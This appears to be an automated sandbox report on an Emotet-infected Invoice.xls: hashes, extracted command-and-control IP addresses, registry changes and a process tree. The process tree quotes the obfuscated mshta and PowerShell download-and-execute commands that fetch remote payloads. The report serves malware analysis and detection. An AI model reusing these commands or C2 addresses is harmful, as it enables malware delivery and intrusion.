Analysis
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max time kernel
131s -
max time network
175s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
28-01-2022 03:20
Behavioral task
behavioral1
Sample
Invoice.xls
Resource
win7-en-20211208
General
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Target
Invoice.xls
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Size
47KB
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MD5
3e4821e1a54cdd0b333933a730f0e769
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SHA1
35a960b514e8b823a8af74c70323681105a04ccb
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SHA256
f8ebf8cca5d8d600ab9f9d9e60b495f4776410c77c99e38d4777091b5d1f7c59
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SHA512
0bee5ba3825f001370226013acc73f85e64f834faaa5368c7fa3ba8ea871a266e76b5f08fbbcace96579d556cf4b19c13dbdb224ade5378d0f83959e323df6a8
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 584 1588 CMD.EXE EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 4 996 mshta.exe 5 1064 powershell.exe 7 1064 powershell.exe 9 540 rundll32.exe 11 540 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1708 rundll32.exe 1708 rundll32.exe 1708 rundll32.exe 1708 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe 1608 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Ycacfgwcqcim\kmtxagykmo.ccw rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEmshta.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1588 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exerundll32.exepid process 1064 powershell.exe 540 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1064 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1588 EXCEL.EXE 1588 EXCEL.EXE 1588 EXCEL.EXE -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1588 wrote to memory of 584 1588 EXCEL.EXE CMD.EXE PID 1588 wrote to memory of 584 1588 EXCEL.EXE CMD.EXE PID 1588 wrote to memory of 584 1588 EXCEL.EXE CMD.EXE PID 1588 wrote to memory of 584 1588 EXCEL.EXE CMD.EXE PID 584 wrote to memory of 996 584 CMD.EXE mshta.exe PID 584 wrote to memory of 996 584 CMD.EXE mshta.exe PID 584 wrote to memory of 996 584 CMD.EXE mshta.exe PID 584 wrote to memory of 996 584 CMD.EXE mshta.exe PID 996 wrote to memory of 1064 996 mshta.exe powershell.exe PID 996 wrote to memory of 1064 996 mshta.exe powershell.exe PID 996 wrote to memory of 1064 996 mshta.exe powershell.exe PID 996 wrote to memory of 1064 996 mshta.exe powershell.exe PID 1064 wrote to memory of 1488 1064 powershell.exe cmd.exe PID 1064 wrote to memory of 1488 1064 powershell.exe cmd.exe PID 1064 wrote to memory of 1488 1064 powershell.exe cmd.exe PID 1064 wrote to memory of 1488 1064 powershell.exe cmd.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1488 wrote to memory of 1708 1488 cmd.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1708 wrote to memory of 1608 1708 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 1608 wrote to memory of 920 1608 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe PID 920 wrote to memory of 540 920 rundll32.exe rundll32.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Invoice.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ycacfgwcqcim\kmtxagykmo.ccw",svLBit8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ycacfgwcqcim\kmtxagykmo.ccw",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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\ProgramData\QWER.dllMD5
4be9fda9a2fdb10c36a1ce820b676e7e
SHA1fd74db40bdbc55c29ec996f32d7b7332088f32b2
SHA256f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1
SHA512878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed
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memory/540-93-0x00000000009A0000-0x00000000009C5000-memory.dmpFilesize
148KB
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memory/540-91-0x00000000001C0000-0x00000000001E5000-memory.dmpFilesize
148KB
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memory/540-111-0x0000000002BA0000-0x0000000002BC5000-memory.dmpFilesize
148KB
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memory/540-110-0x0000000002A60000-0x0000000002A85000-memory.dmpFilesize
148KB
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memory/540-109-0x0000000002A61000-0x0000000002A82000-memory.dmpFilesize
132KB
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memory/540-107-0x0000000002910000-0x0000000002935000-memory.dmpFilesize
148KB
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memory/540-105-0x0000000002850000-0x0000000002875000-memory.dmpFilesize
148KB
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memory/540-103-0x00000000027B0000-0x00000000027D5000-memory.dmpFilesize
148KB
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memory/540-101-0x0000000002610000-0x0000000002635000-memory.dmpFilesize
148KB
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memory/540-99-0x00000000025B0000-0x00000000025D5000-memory.dmpFilesize
148KB
